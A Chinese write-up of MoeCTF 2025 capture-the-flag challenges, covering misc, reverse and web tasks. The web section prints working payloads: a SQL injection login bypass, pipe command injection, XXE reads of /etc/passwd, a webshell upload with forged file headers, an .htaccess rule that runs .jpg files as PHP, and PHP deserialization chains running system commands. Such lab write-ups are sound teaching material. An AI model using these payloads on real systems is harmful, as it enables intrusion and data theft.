西电CTF平台——Moectf 2025 WriteUP
从此开始
签到
在提示中拿到flag。

安全杂项
Misc入门指北
adobe打开pdf,搜索moectf,选中它,直接复制文本就能得到flag。

moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}
ez_LSB
kali的zsteg命令拿到flag的base64编码格式。

base64解码拿到flag。

捂住一只耳
audacity打开音频,左声道有摩斯密码。

解码拿到flag。

Enchantment
wireshark打开,导出http对象。

四个文件都打开看一下,upload用HxD打开可以看到明显的png格式将前面和后面多余的16进制删除,另存为png。


打开图片看到奇怪的编码,这是银河字母,对着表翻译即可。


在对应的地方加上下划线即可。
moectf{now_you_have_mastered_enchanting}
Rush
gif图,用stegsolve分解帧,将有二维码的图片保存下来。

扫描得到flag。

weird_photo
图片crc值不对,用puzzlesolver爆破图片的宽高。

打开图片就能看到flag。

2048_master
一开始还傻傻的真去玩,玩了半天放弃了,看到界面中的提示。


需要玩到16384,还不能让空位填满。先随便玩一下,关掉exe,生成了一个layout.dat文件打开看看。

可以找到exe文件和dat文件之间的关系,第5行代表得到的分数,exe中第一列为2、2、2、4,dat文件中第一列为1、1、1、2,很容易就找到规律了,dat文件中记录的值为2的次方数,exe中记录的是2的次方值。16384是2的14次方,所以尝试将dat文件中的值改为14,分数改为16384。再运行exe文件,弹框选择yes。


随便移动一下就能拿到flag了。

moectf{Y0u_4re_a_2048_m4st3r!!!!r0erowhu}
ez_锟斤拷????
对锟斤拷这题有印象的立马就能反应过来是编码的问题。记事本打开,用不同的编码方式进行另存为。

ANSI编码方式保存的文件打开能看到flag,转换为半角即可。

moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}
万里挑一
password.zip里存在多重zip文件嵌套,必须要用python代码进行解压了。
import os
import zipfile
for i in range(10):
for j in range(10):
for k in range(10):
base_path = "E:/新建文件夹/attachment/password/" + str(i) + "/" + str(j) + "/" + str(k)
file_list = os.listdir(base_path)
for file in file_list:
print(file)
zf = zipfile.ZipFile(base_path + "/" + file, mode="r")
if not os.path.exists(base_path + "/" + file[:file.index(".")]):
os.mkdir(base_path + "/" + file[:file.index(".")])
for file_name in zf.namelist():
zf.extract(file_name, base_path + "/" + file[:file.index(".")])
解压到最里层都是pwd.txt文件,还是通过python读取,并写到一个文件中保存。
pwd_list = []
for i in range(10):
for j in range(10):
for k in range(10):
for m in range(10):
file_path = "E:/新建文件夹/attachment/password/" + str(i) + "/" + str(j) + "/" + str(k) + "/" + str(m) + "/pwd.txt"
with open(file_path) as f:
content = f.read()
pwd = content[content.index(":")+1:]
pwd_list.append(pwd)
with open("pwd.txt", mode="w") as f:
for pwd in pwd_list:
f.writelines(pwd+"\n")
用archpr采用字典方式爆破,得到密码为a296a5ec1385f394e8cb。

逆向工程
逆向工程入门指北
ida打开附件,直接搜索moectf,就能拿到flag。


Web安全与渗透测试
0 Web入门指北
打开moectf2025__web_signin.txt,将下面的代码放到控制台输出得到flag。

01 第一章 神秘的手镯
只需要将wan_yan_qi_feng_zhou.txt中的万言咒复制到输入框即可,但是提示禁止粘贴,那就打开开发者工具,通过html代码修改。

看到万言咒已在输入框中,点击启封手镯即可拿到flag。

02 第二章 初识金曦玄轨
查看源代码,看到提示前往/golden_trail看看。

访问/golden_trail,在响应头中拿到flag。

提交flag得到一个小说解压密码fAMwxQ2rEhbXWUw9IJmvU4ec。

03 第三章 问剑石!篡天改命!
根据题目提示是需要修改参数才能获得flag。

点击测试天赋,看触发的流量包。

构造相同的数据包,看回显。

修改level参数的值和manifestation参数的值,可以看到回显结果中result中的天赋和光芒对应的值改变。

看了眼js代码,如果回显结果中的result字段中包含流云状青芒会显示光芒效果。

将manifestation的值改为流云状青芒,看回显。

难道思路有问题,最后也是抱着尝试的态度将题目描述中的流云状青芒的英文flowing_azure_clouds赋给manifestation拿到flag。

提交flag得到一个小说解压密码cBrtGRQSKeLvty0@lKyFpU@Z。

05 第五章 打上门来!
最简单的路径遍历漏洞,没有做一点限制,直接输入../../。

点击flag就能拿到。

提交又获得一个小说解压密码28P~gb6F3FuMOcrtaBo8uyDy。

12 第十二章 玉魄玄关·破妄
题目说了用于学习蚁剑的使用,直接打开蚁剑连接。

在文件列表中没有找到flag,尝试在环境变量中看一下,在虚拟终端中输入set命令,拿到flag。

提交又获得一个小说解压密码RVXlGZnJjcxh0627Xn^3iGZ6。

Moe笑传之猜猜爆
查看页面源代码,有个main.js。

想要得到flag,就得让输入的数字和代码生成的随机数一致才行。

这种几率小的可怜,直接构造数据包访问/flag不就好了。

04 第四章 金曦破禁与七绝傀儡阵
第一步先用get方式传参。

获得玉简碎片bW9lY3Rme0Mw。

第二步post传参,用hackbar工具访问得到玉简碎片bjZyNDd1MTQ3。

第三步需要从本地访问,添加X-Forwarded-For头。

获得第三枚玉简碎片MTBuNV95MHVy。

第四步使用moe browser访问,修改User-Agent头。

获得第四枚玉简碎片X2g3N1BfbDN2。

第五步要以xt的身份认证user,添加cookie字段,Cookie: user=xt。

获得第五枚玉简碎片M2xfMTVfcjM0。

第六步需要添加referer头。

获得第六枚玉简碎片bGx5X2gxOWgh。

第七步要用put方式发送数据包。

获得第七枚玉简碎片fQ==。

将七枚玉简碎片拼接,base64解码拿到flag。

又拿到一个小说解压密码jU92itArJr2pe04Em6HF_tik。

01 第一章 神秘的手镯_revenge
看题目的描述有一个wanyanzhou.txt的备份文件,尝试访问一下wanyanzhou.txt.bak,真的存在下载下来。

将文本中的内容通过修改页面元素复制进去,点击启封手镯,提示内容正确,但还需要提交499次。

编写python脚本去访问500次。
import requests
import json
import time
url = "http://127.0.0.1:51203/unseal"
data = {
"content": "XqRqsDZWVYjoXvSwMYGklZOGwVpnmPKTPJXhTiFKvhvcseSrXEbawElbdYmJRydaISVcmpLTscDEPSlbIkUNKEvdzivnsrfSCnGolKgQOmVFhxKxhMitBzNeBHNyOgwckpBKdMveKRzqTIrcnvhVgXoxZrjKmuFkFahmHtmTSCKjnjethRbwMPKeJbyLSPAzROgVTuNIChkunCQdCLnoEJWzTscdjGHYzuHJZPMbxqtWteSbkogopAGBxprYdnZEGjfhJfYKlVlVarMHKwlHcIpsHwXgcsvWVKijiTYiQTfpIMHfqyroLmSqLgugtVlDQXeaGTxSWCfkMsMxnucRAxvKeRkUkpnfLrAtMfnBpgwbgLSHsXEPcUxuJwcdxYEfispMnEluMGWPtiKWukWJmcixVbTrgBhRmSqeMWZorscrwsxerZnmKRmbcBIukPQIHOxeoPOXnbngPGdpFrnoDAhCkuQeyDreHKQIutGOwDmQrtuFZYZwPlDMuBZPqPcIDrSHUZvGQKDLARkVfmEQdLeBSVoRAOUJZXAiafPXCMigwuNPzElbajcHnpzBfUvxhDTFvdRsbnvdaYDmyjkNLqrFbRqspCJxrFAJaZkEisEaWkgvnTPTCZvPStbzuAVJRJqcnthlUXbigHdyMERTwFmhGktdbvyHxMWZkIhkMhDUHcrnrqezOsoaZLvifeiFLBUlHJEhtHoStqBtQRenMJPVWLzoFCtBlVSlUaQKnXCedKVGocnoWJiOfnpXVPOxAXQITpeXgfdmszXzOTEdTjqnEPAbQcOfRQFnZPNeygovEvmlhZfKNHQeRcnjHweNceHuFBTciWcFSQNZmIlnpiMkqiQyZOENdGFayRLHRuAHYcFOeZoaWsVwciPUtHRdNxfBtENIVDTPzqnBPdtRdOVWKEaInMAmgTUFSrdghOVOefjxtitiabICQNdLUItQILjyAhCBvnTmzHALWouisBfvTGtHjcYShuKdejEobmfYOypmQRJiKeUAyIGcKPsLDYOVAdIUgujXMsDsOLyrkCqjVAwkJnymwVcIGQPXixGWZWpychnsCINBItKqzcmhoYLWhadHoihjWVBlFgpHKfXpOjXYdhBLjfZUFICrlIEJeDztXIhnMsRITfNhFSjfsQwEktpzryjKvoedbAgFGnIshgIwyJANiKQJzdPdZkckQPVXYAKfekJvIwlQTZOwhjepNEJGhyahbEuNPtkCXVaNVkUvQHRAQVXtAQGTBUlWpZwfuFjKwvjNfzkCmcVeCPUCRSDXKSKQjNOkmeYabmjtNVYclVEredbjBiqXWeMCXaXPltDgneMPJaGIYHyfbWqNLwJCqPsdJxCDvaIuYXDHVLfwPwQuvUGcXvJZmcyACILNBDHnGKXFnUpExHTHrcgyIKCDSzeUsyOYfxnKyAmsUPgWgfdcJuLGAPnLvLnFuKXNUThohGpagqOIucLUtSHYBJvlPzLnJXtBIryPDyWtZuvOcoLBUkWapklHXLNQDonMyunmuoAuqkvdCvWXvIrdXZtHrgwsDuZiytotfKBAMwNGiVDZGlMzPKGpIeFzCLuXYsVXQZfYXoPuBNJyEFNvhlnzDbAieaNycIwKCtysQxbjejrEJVzuaNWpKqaduNtdmAjFpQFKFkoukCGsoscynKmpOTRhBlKlcurfCSzckDmrABkvUnTJBGBjKQeVEZRpfcdNbqEJAGfeaMtKiqfKcmhjngjEuVQaDmgYOdRxGOBGIRBgNCwsUAqNhVxzPkVSkNRLuVbAEApwnXjeipSbNDROtZSuPItgRUIJGcDiSxJwgcqximjKfskPXuHbhowALsYRPrjrteNPhiUKQpFgYlRBHJMuOQPtIYcIPIFHTpwMVpRwRvjpDKzlKmuXZVHAvswCIGoHxMahgaueHzkQhrGXdiXZswbkbpsOFOskXcgBUXBTjXacDJzbqFYhMpQXykStZCMJpmzkBfygwmQERoDIyMCGiJiCmOyTmrepOZIxfPlONsapLxOACdcfxLxsMLUsMziTpqcxAOpFMvghzFYRSwMQmGLDiaQsTZAZurHBSuaFHmXQohjUSqicRyHfrtIKygKBsCdXWTDgzcvHYGnbghSlMeHiMHQZtFoyPoVxyPNgnUxgiXZpXWokTBfnuXLDxqkyBnXWlIwFODufTCoevNmvHKZFAhPNOfuJxnqyfigeihgefMyPRGtjTwPxgkFGleTQOczfIhKVOSAwkfYLzesAxSHaqsWUfdRIxVmgsdedlnRFKHbRIMUHcRELhMLcpGiAJmqmQKECsfpXUvtBcrzRQcORBDNPVlQjdsHZXaHNOhQbdigsdszLIHPnXzqbKhBchruNLjBlaydvIHTVmSlyHtIyCyFocdRlJTozqSQNAvQySRZpNqUPzpQuKWLxUPbhYjvGlEpLWnPenWboqEfEMsAIxdbJQMKfNXakvwtRsTyHMSPOLIGxhLCiEnBnkJLFiDrkLkqBeRqxatdzFjaOVwhEKLAWxHViZadRjfQfoPOnuXPIFLPBnAleremNPcnTwAjgZADfYxlDrtcoQFGubCdTYPFSqXPjOUeAGFuwRvpeQWowxajsTnMcOfPtYBKqJwUQTislZbOsMyBpFCQaQYjSKyxGcSyceUGvtOhxImvTmiMfsmejhFAVALTvdRGAInBuxibmSYloasOJIntRlxjWeQGVklDfBGUkrAfvtNXRVBOvltzigxMUmEIhIjIgwYDWhCUAgQImixmgXDYQHUPRdfNGerNueMivayPSNRheVPTVhPaHDvFPcedCpRGOcAXLBrPnKlyHjDueOZdpfZKabnbdvYilMSALQHjVfkDjXVgsvIyNZEcfobkydwZPfKqTCXgPkPdgVaBmJKIYNmGxStldrBjZAykFDMfoiFIRLGigwdRvilQdycSAuXShvACVReSOifjuWlOSbKhXjfPiYibMxwIOcYtqJDBsbzqsMpsUbnVOVNCBHCVwbaghdaZwKwOcWsFdTxICJWXrEgJKWVrtPLUnYehdKUIbHUxWvzflPvLJMIJdoPNcjlPyZuYbrNgznMPDQIskYGeKHEIxbsAzFGPSbHEYIfnakwrHtifynYQBGcIMtEfSTmzltyveQBEdyrPHurWSEPiEGaGFHNtYqFqZSvMOkfEkFGNUNehiTqrLJMZPmjBSlnkLaQtjTslRqwOSmxZdQzpgBzTFVxLtBnUspHSqUyBLXbRMViuwZnVFyEFEyzlISCdtwpnKanKdroLgotHdEhGyucMuGyqStCiZbxKIlMLvuhLTUNbmXYhZbfTrHGlYbMjsXAiQovPHQrfvEjkiZVgyhEVPRkTzyAucZgafPFGOBXcSkOXKdlZrZpXQOJCKLtzBysNKVkHEgyrQPqnUKXILyujGsFqXzfLpDjewEmzGrGhRCSumVlXrwoBXRljkWHGDUsNUAdZKUDOwejOZifSOHJHiKCYNGtbdQEPaFKPnaYQzfxzGefKtAbRuJoZmHblZmwKrODQVMUOqmIZOuxzraxWdtpcRHFZCJlTdMcQLFVuTlOQNCkEPkRTFPLVNAqImzvpsWcNMPIvulFEhoWSDXlwpeBZxKIZApQOArGWITaVteYWBoEkHlPjHkQwxDnRfDyRXqjbzVgYcTDsMafXLustotnGcrbNyDimSxCiatNVnKgnTuyUYJtUdSAgJwLeFSPuAIfvbaxYNwRgDoGtaQcFxgDJMFgpCIuoEdwDChkoBVfDkaihdmPQZTwGcyNiSHpXLZfrszPoroaFSFoyZVysuPgwQpEQWQYqwLmfSCktrnuAUktVGnDvspNePKtABerKUsrjhJZnBtEsiRwoGDYVoSxzhDbLWysDJUWECVbNDtZEPLawlSblaIPtIfLJxpaJQnXQgVKIuWDZLmAlWfzxGmxEjtpLBmJCsvCyMemqylTnRXgqCzhfROrdtdPcrHtntoGyKnqjigbEfkdykWKlwQruRiDIVequOEJbHXdQCMIQAMTDXLQTgcLqmQlStExIAKMlNSXuhnUgYwTlVrqpadpTAzvLsTcopFOraXmxqCGqDiZhyUcWdraLNaxYlDTdjVkjHaWLVNDKvrDotXPOdLwPKGHiTpWzghIyopFBMJPEjaQlNJhZHctpMgvUawLrLnyuTxCejCavTOgQBwDFOdIZeawkGNWmwUzFauLxsqimLVSnEWPZYRAKHwHIWjCrPjtXTCeaCkVlrjRzhEvlwmnmrjlPqioroJpZDvJXtpOtHmsQheWgUnuDqjLUjWSzgdmuHBiNGsexkrxWqjIWCesrmJFgsLALwDKaONSCnKGTYvSHqsCdEnJmKbItitgTOlSigmioFqtEyaUKpqtYhWUBrtsLcfmfqojPScvTayNOmiJvAfczBUCUqdZexCqfBjsufdVdlKQWSVLfCnBydqAmVdhAnlSfrOTAIrgVXueYGjoJIByCoEJRtomAUqrTIcvnIdMoMjXkTEUjEwtEWorwefkTGalPEPnCJRjZJPHOWMPswlApIuNblsAXKXEnoxsaIwvhyOkHyMiYiFoCjXfgwlpiETVoUDfVqFpXclvKnwinPNHDRhnQwJZjATsqslVLeSMwSCIJTnatMuxMcAWrJdnwjWxYKHmJHOyEceCfwsmalGwVtJNXLpikQdhMYDYKFCxGrtSNaceCVuiEvQyBFycgCSwvAVjulXqbreazYTZPRhZdYqsvNKQfRpqITJXYZEizdNUCSRlNUKSGIrgLzBRdWfSzEObyJyCDlspgNPukmbIDwloSGWPXUbnoZPaZISqjkGlRihGcOtHmkwFBrhGIxutiLOZLfIvLpkQpcKcJvcYSoMXqiNYgrGvfTHFmKCwgdIGNmWPcwyfJhIphUJYjAMgFPzPMoWjElspZCbXDkQzihAwSlxNztzMbaUxEXhAizBxopqZMYazFBXQtBXSncriVJTgLbZrNfGFjctMTEmObPLpENwnovQHnBnPqYhFkqVkdqRoNoveCdoTGmgzlRJatIpByQGpjelGEmTGHELfxsIruzldvLMihnPzhLrfKMgCVOSOvDUrYhiuxnlVNgtilbQwoWbyMciXOQsfegmznLtaMzunRDscsnQCvZcwjtLWkuvidyjSGOSWGIRGzGyWcqjyJiWejPzIdfzLGaCSvNqhwEqAvCxcGVspJnyMgiXHOfetWgMeWGmoXHsXIucVwEvHaDWbidGZaTMzYTrKQPwbDbcRnUDymaMhuTYPlWqdNsTngReMqSvwDeBIjkIfDTnJwNvaUMdCrSiJYxbYAHgyTIvThjptWEDlhEBuIvrgkiRpsVpTruBKuJAZRHFBTBAxqKjyZVtscfYoJAwrvmpWCYxWAcvOjOGWuvphnjoTcpcyopaHPSYNSFpLhdsVqusxufxbwZjzwhGHjsCkvWUDHioXebCGemDKSutHqiOCImIhsvMcgfSvMcuvAdEhuRbDHqeVFzIMwUTjZrBNzfwcenAucPrjhOKOFXNKnwRBdiucOjdraiEGfDChPLiYkEnifjEoIDjRSDuNBDMRDxtCDLscfXtRCNZxWfYeKCpzYBiSrMoIpUbRklzEVwQVehVpkFyVrVtujiSPOLEFOVhCrDWChnroYGOLFwItVbxfZlzjkgOvdAEdTjLebjyKHSEYvMduWainHlZHbtIADMtmXOjyaVsasBDemSCOuLaFeAMatFmqPYgoPBuwgfhxpMngLGthLNaDRySnrXiuXGdsXebrmUvdueGmUSmhIuXJOVGpOhqwtzIcuirDThNsyLdExgVmHqUptlwLJVQwSlZOuVTHrbfRhuibwpkJwJkDPUGwGLyZorkRskRTqaeHlClCjQyOPZTmNzpDHxndJVsxAnpLuqHNktLHrGaPKTeDlhKWtxUltveFDgBERTnKHaSHdaZDKPxlKWmvGnQCLZJgSaVRplUSjaXjseKhXlMxdvTYJNsOgislKzLnepaxWECaTCflPMuJzOCMdBgCribrHLGlpBqTkTEcVHgoGQWUjVTUzjyPUhWbiBRxckxGThXqexUSgFmtfdYtKhTWtfjxoPiMYVBqERcWxoRkQSkULJiPhCSfXoUykfGSimlmHBHzWbsagTJdgYoKFuAjXCqKvnukUclWZVANxeRvCXUqojAgEaByFkNKxLgKObKgsHRijRzxQVaUprskCmATLwvgiDyIndpeaSiPljfSAhRtLwEtJBODxjtyMzIomksXUGbskQjSPdgwxJWaejgnfxwJrdHgMCrSrwBTuGfcojXVLWNClYvzJTyDXrLzkSqxbcLHdvcFMnwGMwLERmcmDUQuIvUdjIcJKXULTyPchlWLxVpuihKemfgFJfGApvzAnjShbxKUqAtBDPtpIgEKdyidUqNJocWbnPEbMxCZhRUjTrVteNiFDVmNaMBNetaWEtafXncKfEXYptvijKGuiZXgmoFBTHBriRIcDBdZJIaymIuZkNuZKWmpTLhScjTiJrKJDXvZeGVNJTDINafpQwiPkqbIvgqCTwkCWhZrgQIHuBkBgwOnOTCEHRxpaGbMJrsgLEOInhVKIwhIhgVjtqArCYijwoMhnsOqziDfnIZEfDaUOhSVyqhWKZIJsJfNWIStPqbyFmZPlnLYwbSoEkxwRSTfznbOGYrSjCSRlPEytycnVXAesjgQsMjuetJvdGSjxoNwufCPvxMUqDPKeQTsXQcIRQGoqCUDbZlHbYkFqJhruVmRiWGpDiPSKXOsBHvPvJNgaSOSHrNUiOwvBUgzWrTcBWAKrkBMobfONCzmXbRHganRgFJZsgvwTmkLiXfkyqcYjSWHKoSoyWOgoFGhXPturGEUCuIVBczaLnxzUkmwFbKAkcXuzaiByLNEaugBXnkXtuAqDKuMtMxGCKQHPIWtwkXoEXaCzqVnlmTueyDsKmQuqOBPekMIfdiSbHDVFbhbaUVPIFPchCuZxFBRaKceldvAWvgIkroVrHpvIEiHqBIYxGyueUVTWPoDZRnrAStGFHwYczxVuPKXEUHFpHDjHcDZTmWhBmfTJvRSLUYhieMwGCDevGSfMBPzEOGiwsGbgmUfXYmnraIfPRxPuvkOrDVrAqfTOrvcXhUSHYJPbhqOUAFepOuGwEuoKcOtrpbZKOFCziyUpAXzSWXDidtDCFnlIqaCfzWNogViWoPhSnZYESkYRoiaoaETPhnswIXoGhbRpmWkFkOvPmoWexFEGntpePDBePblefuMvqBAtehBAzYdOstJLrymkahWgKhftLgmHZpBNeGmKcZafkLkRMIAWkqWYdxPYQkQewixKynMQMrqCiMwSZjELaWecgsqphcanAFEZycECYiSBoajuMlZdlYQtPejrvtYRsugRbVlFaWDbGAsVOAyERmNDPswIlDoyhZuWqonEVztwxyrmcyVmvCYkjZjwmzhTfnDSLIzgbxgAXLGptfGhVnXpktjfCzbLNtojTmpUekDrsIPYPXPsQroMOwMLvTnUnqnmzqASbduRJeGNAmgKvprEHOyGTFJWbafwEdxphKzOviNwfPrBuGwCYZhOVwirGHQDRtsfPCVgEmpsdAJEXBzfnRYiaqJRyfOFGadaJSXhfhsKfiCbakLbfENXFXdhpyADSNbDmQWUpbPMtCkxsRGJoaKcLgeKmzqSoHaLoSuAWZqvIMfCiEfyCmGPadaHumUlFWrntbTNqukENBzEFObGrNTXNbKBhXCupKDIJNykATKfBQvzSYgQELWUfepXnBFncFqCHCTxCLMfPUpaUkRtoJMbpadzmyHfQEHpGatSqZohDJBxMajbXdRFsHTpXzTDgYRnpfzVPEFsknYZaXdNezYIZTeczgOZTlYhylchNEHivrFhihcxYNIcDGixscIDYkbEYuloZqdmFLNaFDUGcgMQvlYwJSdsPgvuseuOAYiaFOnkCrJgWnRCJuHGZEyLJEuEDedwphNLMrpdvgRVENLRpcMaqwgOwrVOjcjgSahSTAOxiYlQpsbApqtqYQrOpczjaTnvxhUclzYJuqpLalVRmLZlieUNefYNLwJNJZhoUxtOxLDTQXJlswXMprgjwOPDPGiVNtQxzshImKZNvZtXIRiMsIhqjyIBurirPcwVaTbKqiTFtzbzHkjPIBYeKTSNrmNHnZgdrxAkJmOyKZWPIsQvxFSriYRSkABozQclJizGaKitcrfWowxpNKmzCsqwTbocXjKfujNSRKWUyUWqrhXtgLSXgItLZtorjiKPzinOxdvPGvYZyPLfvlAMIqUgSCmhNExifbfwPlriPnYVljZvzWEqXdiTYDzjhYgoiYJZfpqhrkLdcxkMIXDFBnFEVXlvHtaloYiNTPYRvDgwfWmwKRspCelMYAghSUjskGmnjDJWIMYMYPEaoqiYEZnCyzEIprFumcLiVPKjObkUpdirdoDzBLGvikaEmXjTMpEdxmsAqdfwOrqrSwxBWXdfbuAtEdPYZRqnTaopFjvplSHOntxIFjnjvnmlUtofmyRegkaelImWYDHJpbfyDEHbGFeHRZngNyKOsarinDhJZTrdNxltQOnwoKrkHsTKofRymjVSNdeRFvrlRVclbFUJlNbiENwOeAMeTCuBoJFZMrgtegqcRKQdaFpwhcUFOZsfMTkviehQFCAvZborgWjSYhWQzHAsKmEgwfWmJYvHTPuSKOmOyFjgkvHIuPIbralqLBDQiDutlcUxmcXdSYgemREgfLVQNcNerMnuCkqnrYzisxzOxnBfCJQfGTvxbvnPHRzImrOGNvjCYWnGQrBotaUgZcHjfHBqsUrgYQspgqTjsxUvrmdpLebKgSivumvjIkoqwCeBpJwbHvOpkWQwVREFOyFaeDzPelPykaxDumJRzGMQlvqDhFySqDzTRxpWLESyWDrcBIBHxESudenUdquFVwTjITmaqngtgRjhSLdtXcNPFVkgWyHEofdAvLsFlmKlHZQxZWCXqtyndzRHfwZxjtGcLjcRNxazLDqtMqRabYxyCUKxNcaFkAJMiJaqGLQthPIYvQeusnmGJuVTEtkPzKoTYDERTHrIwhSxDubOapIcYQLZrpJiJhiKrLVjQKubkrwDJSwAtmnrCXUFYZWLGlyZBYigmUtpTzyLFRYEWlOjSEDqmQktdvUFVSuHZwNRXWmfUjMOwpHmSwXnXzUyUkEYMWVUePdEsvPEUeWnkXJcfaOubzFhLQbvMSolejybMvLuJYbkxgZQLAMyRfOAPjsCobsovaWawNcmRHfmCNlkRWbZEhGXQMrlWAreWJtlISGlxdJHNmzQhuFuYLIdkdYRaYJWpFbZHbNvcmGukGSyKoLwVANVJrkXJGoVJWnIrIniacQVsvUEsUioPnoYhyCUsegXOsRcvcHxZfpmRkJUxyjYaZvFrnmIFAmzindESEskJVJmCnGhehMhLCoAMbCENszFLXchIwUizywEFxEJsizGlCrEWmhLWmpbFeOrbEhEgFkpelexDQkHXHlYjOANomnxlPZuByRZLDpdXLAZDZocOupMonVtIoBlaPUvMDpZvmKhNyPXZLEMWgjEBUPQBhZjvBNCSkuqMreXSCbudhGAmYiTEBlUDoRsZgTPVnlFaYIrvOPvbFkiCxbCDhlEmvpsjSgdEXtYgOxdVTPvXeftPzdsXUfhfQtPIEIcQnGYernWaFJyfDcDxNoHmfWzQGrGqnrhCPVmJavXBLChpGialPrUSTDHcMlJedpdFDKDZIHJPRMCmBaXkYFqSIFYpqJrlEBpzDGROVdkLWSZdzuRHwQJoPkVIvRUDpWXqVbzWLUPNSHEKwIvmojanGqGAUpODlgnWPOUjHpSGnKrOkDPAKAXtLGifiudqSKegAUCNbvBpaeJFHqyvAjdiyfTRpqCNlDVEISCZUfvnIFtxReYGwCXIhwcDbevHcDGQOLpzPHgcuojXiZdSoRYgoVmduqghYIYLmQWKvKCaZHtSNOMnHeQxskuQRebzDvRigACxBmCRagYpmtpb"}
headers = {
"X-SPECIAL-HEADER": "magic",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0",
"Content-Type": "application/json",
"Host": "127.0.0.1:51203",
"Origin": "http://127.0.0.1:51203",
"Referer": "http://127.0.0.1:51203/",
"Content-Length": "10014",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Connection": "keep-alive",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"sec-ch-ua": '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Windows"',
}
for i in range(501):
resp = requests.post(url=url, data=json.dumps(data), headers=headers)
print(resp.content)
time.sleep(0.3)
运行结束后拿到flag。

07 第七章 灵蛛探穴与阴阳双生符
题目描述中提到有一个跟爬虫相关的文本文件。

立马就能想到robots.txt,访问一下看到flag.php。

访问flag.php,得到一段代码。

要想得到flag,就必须$a不等于$b,但是两个的md5值要相等,典型的md5碰撞,让两个的md5值都为0e开头即可。

随便挑选两个就可以得到flag了。

又拿到一个小说解压密码YzOBQY3E22YSg2VJ53KousnE。

06 第六章 藏经禁制?玄机初探!
题目描述是一个登录页面,八成就是sql注入了。

直接在神识印记输入万能密码admin' or 1=1#, 心法密咒随便输入,登录成功拿到flag。

09 第九章 星墟禁制·天机问路
典型的ssrf漏洞,直接通过|或逻辑符执行想要执行的命令。www.baidu.com|set。

又拿到一个小说解压密码CszFiOPw1kDQoKB_hS6@Do^n。

13 第十三章 通幽关·灵纹诡影
文件上传漏洞,提示要上传jpg文件,文件大小小于30000字节,会检测文件头。

先生成一个图片马。

上传图片马但是不能解析,需要配合文件包含漏洞。换一个思路,直接抓包,他要检测文件头,直接在一句话木马之前添加他想检测的文件头就可以了。他没有检测后缀,直接上传php文件就完事了。(一定要用16进制去添加文件头)


拿到文件上传的漏洞,利用一句话木马就能拿到flag了。

又拿到一个小说解压密码Gu6LzR0wiis~deHuWjw2X0SZ。

17 第十七章 星骸迷阵·神念重构
一道非常入门的反序列化漏洞,直接构造poc。
<?php
class A {
public $a;
function __destruct() {
eval($this->a);
}
}
$obj = new A();
$obj->a = "system('ls /');";
echo serialize($obj);
?>
生成的poc如下O:1:"A":1:{s:1:"a";s:15:"system('ls /');";}。

通过参数a传入。

在生成一个查看flag的poc即可。O:1:"A":1:{s:1:"a";s:20:"system('cat /flag');";}

传入即可拿到flag。

又拿到一个小说解压密码4nF_KGJ59cdaei7hjwoZsVxr。

10 第十章 天机符阵
在输入框中随便输入一点内容,可以看到报错为DOMDocument::loadXML()。

很容易想到是XXE实体注入,下面总共是三个标签<阵枢></阵枢><解析></解析><输出></输出>,看下哪个标签能被我们利用,先构造一下poc。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<解析>&test;</解析>
能够成功读取到/etc/passwd中的内容。(经过尝试<解析></解析><输出></输出>这两个标签都能被利用,随便选一个即可)

题目提示flag在flag.txt里,先看在不在根目录下。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag.txt">
]>
<解析>&test;</解析>

提示加载不到,说明根目录下没有,还有个常见的位置在/var/www/html下。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///var/www/html/flag.txt">
]>
<解析>&test;</解析>
成功读取到flag。

10 第十章 天机符阵_revenge
跟上一题做法一样,只不过flag.txt文件在根目录下。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag.txt">
]>
<解析>&test;</解析>

又拿到一个小说解压密码0mzKObH~eIodVLbwF9921DTT。

14 第十四章 御神关·补天玉碑
题目提示apache有一个特殊的文件就能想到.htaccess文件,这个在文件上传漏洞能起到很大的作用。

编写一个.htaccess文件,代码的意思是将jpg格式的文件按照php去解析。
AddType application/x-httpd-php .jpg
再上传一个jpg格式的一句话木马。

上传后得到文件上传的路径。

访问,通过一句话木马执行命令,获取flag。


又拿到一个小说解压密码OChjeFxjQhK^gYLA^2M2~UUk。

18 第十八章 万卷诡阁·功法连环
典型的反序列化POP链构造,先了解一下php中的魔术方法。
__construct() //用于在创建对象时自动触发当使用 new 关键字实例化一个类时,会自动调用该类的 __construct() 方法
__destruct() //__destruct() 用于在对象被销毁时自动触发对象的销毁对象的引用计数减少为零来触发
__sleep() //序列化serialize() 函数会检查类中是否存在一个魔术方法sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup() //用于在反序列化对象时自动调用unserialize() 会检查是否存在一个 wakeup() 方法,如果存在,则会先调用wakeup()方法
__tostring() //__tostring() 在对象被当做字符串处理时自动调用比如echo、==、preg_match()
__invoke() //__invoke() 在对象被当做函数处理时自动调用
__call() //__call($method, $args) 在调用一个不存在的方法时触发, $args是数组的形式
__callStatic() //__callStatic() 在静态调用或调用成员常量时使用的方法不存在时触发
__set() //__set() 在给不存在的成员属性赋值时触发
__isset() //__isset() 在对不可访问属性使用 isset() 或empty() 时会被触发
__unset() //__unset() 在对不可访问属性使用 unset() 时会被触发
__clone() //__clone() 当使用 clone 关键字拷贝完成一个对象后就会触发
__get() //__get() 当尝试访问不可访问属性时会被自动调用
题目代码中涉及到的魔术方法只有wakeup,它会在调用unserialize函数的时候自动调用,所以构造POP链的顺序为unserialize函数调用PersonA的__wakeup函数,让PersonA的$name为PersonB的对象,再去调用PersonB的work函数,最后让PersonB的$name为我们想要执行的命令。
<?php
class PersonA {
public $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}
class PersonB {
public $name;
